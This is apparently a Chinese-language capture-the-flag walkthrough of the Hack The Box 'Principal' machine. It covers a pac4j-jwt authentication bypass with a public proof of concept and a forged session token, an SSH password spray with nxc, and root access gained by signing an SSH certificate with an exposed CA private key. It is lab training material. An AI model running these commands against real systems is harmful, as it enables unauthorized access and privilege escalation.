HTB_Principal靶机渗透

连接vpn后开机靶机:

一、信息搜集:

端口扫描:

开放端口22,8080

指纹探测:

8080端口web:

jetty-web-server版本:

pac4j-jwt/6.0.3

任务三:哪个端点提供 Web 应用程序的主 JavaScript 文件?

/static/js/app.js

任务四:哪个 API 端点包含公钥?

/api/auth/jwks

搜索pac4jjwt/6.0.3 版本,可确定对应漏洞为 CVE-2026-29000

二、漏洞利用:

下载poc并且利用:

git clone https://github.com/PtechAmanja/CVE-2026-29000-pac4j-jwt-auth-bypass.git

python3 poc.py \
--jwks-url http://10.129.244.220:8080/api/auth/jwks \
--target http://10.129.244.220:8080/api/dashboard

sessionStorage.setItem("auth_token", "eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJjdHkiOiJKV1QiLCJlbmMiOiJBMTI4R0NNIn0.I5adzRbuJQ52N7de_xON2wzXA9gzyLMCdk7fpZx6jCF7pBdgDLKMGoOMn-DP2d41gG8agMkCUjLTaAl3RYc-RFX4SBBgKlzwVmEE419Fyk2gdT-yrWPpNOUw0ARH4hycCfk48ZmbPNGoALO1o7KV_hwBfifZgsKYI5Nx5vYwasQq4P1gTRdX4_4jY0a1QO47M65XRp0bdyRS2j15qGmzOBeokJbCcvjjHpteZ2zvNIyafS_ObRviPC8Rtxq0m61Q_7mKWGT7_715BSOm8miOnCmw1z6gDtNHmoNvdl_-OXrLa1xNdiZJPe6_eEUt_uXPh_Y8wg-0RtziDJlx4yyciA.Marw3Rxusw8m8Jpd.NJ8bwXGGXorMf8wVJIOG0gAtnFEDyO5EagpTbf0FQcHpjrM8Er4z0tN5q34VtXU-SjI1bjmoE4JXsweGZGLavTvpiGsxF-Mqgpf99_zAl9UabwqmzI3Y97Eu2sX-iR5WTM3cSOYXUTGUnyNNl_Po9pA6qzfzLSZ5W0UqZtFAgr6jJ07yWI3y0ajtTCaa7hTDbFx7QBTvgJ8garydRO9Ck-PB.PjNqhvPoq5qSZ4Y_LD4Bsw")

打开开发者工具 → 控制台:

sessionStorage.setItem("auth_token", "<PASTE_TOKEN_HERE>")

然后导航到/dashboard

直接进入后台

任务 5

网页应用程序中可以找到的明文密码是什么?

D3pl0y_$$H_Now42!

利用该密码以及用户列表,我们可以对 SSH 服务实施密码喷洒攻击,以此判断是否有用户正在使用该密码。将用户名保存至名为 user.txt 的文件中,随后使用 nxc 工具执行密码喷洒操作,传入用户名文件、密码以及 IP 地址作为参数。

将下面的用户整合成一个user.txt字典

nxc ssh 10.129.244.220 -u user.txt -p 'D3pl0y_$$H_Now42!'

找到了svc-deploy这个用户使用的这个密码

ssh连上去找到flag

属于deployers组

三、提权利用

上传linpeas进行信息搜集

任务 9

部署者组对哪个目录有读取权限?

该用户属于部署者用户组,若我们枚举文件系统,会发现该用户组拥有对 /opt/principal/ssh 目录的访问权限。

直接搜当前组可写 / 可读的目录,可以用:
find / -type d -group deployers -perm /g+r 2>/dev/null

任务 10

哪个文件包含为 Principal 的自定义 sshd 配置?

/opt/principal/ssh目录下面有私钥文件

svc-deploy@principal:/opt/principal/ssh$ cat README.txt
CA keypair for SSH certificate automation.
This CA is trusted by sshd for certificate-based authentication.
Use deploy.sh to issue short-lived certificates for service accounts.
Key details:
 Algorithm: RSA 4096-bit
 Created: 2025-11-15
 Purpose: Automated deployment authentication

文件还提及了一个 deploy.sh 脚本,但我们无法读取此文件。检查一下 sshd 配置。

svc-deploy@principal:/opt/principal/ssh$ cat /etc/ssh/sshd_config.d/60-principal.conf
# Principal machine SSH configuration
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub

在此我们可以看到一处关键的配置错误。配置了 TrustedUserCAKeys,却未配置 AuthorizedPrincipalsFile 或 AuthorizedPrincipalsCommand。

当 OpenSSH 配置了 TrustedUserCAKeys 却未指定 AuthorizedPrincipalsFile 时:

任何由可信证书颁发机构签名的证书都会被接受

证书中列出的主体会与登录所用的用户名进行匹配

同时还发现,PermitRootLogin 被设为 prohibit-password,这意味着通过密码进行 root 登录已被禁用。但基于证书的认证方式仍被允许。由于我们持有证书颁发机构的私钥,就可以用任意主体(包括 root)签发证书!从而伪造root登录

因此,为提升权限,将生成一对新的 SSH 密钥,用 CA 对公钥进行签名,并指定 root 为主体,最后使用伪造的证书以 root 身份通过 SSH 登录。

首先我们在 /tmp 目录下生成一对新密钥

ssh-keygen -t ed25519 -f /tmp/pwn -N ""
ssh-keygen -s /opt/principal/ssh/ca -I "pwn-root" -n root
-V +1h /tmp/pwn.pub

验证证书是否包含root主体。

ssh-keygen -L -f /tmp/pwn-cert.pub

用伪造的密钥使用ssh登录到root用户,完成提权

ssh -i /tmp/pwn root@localhost

提交位于 root 用户家目录中的 flag。至此,靶机渗透完成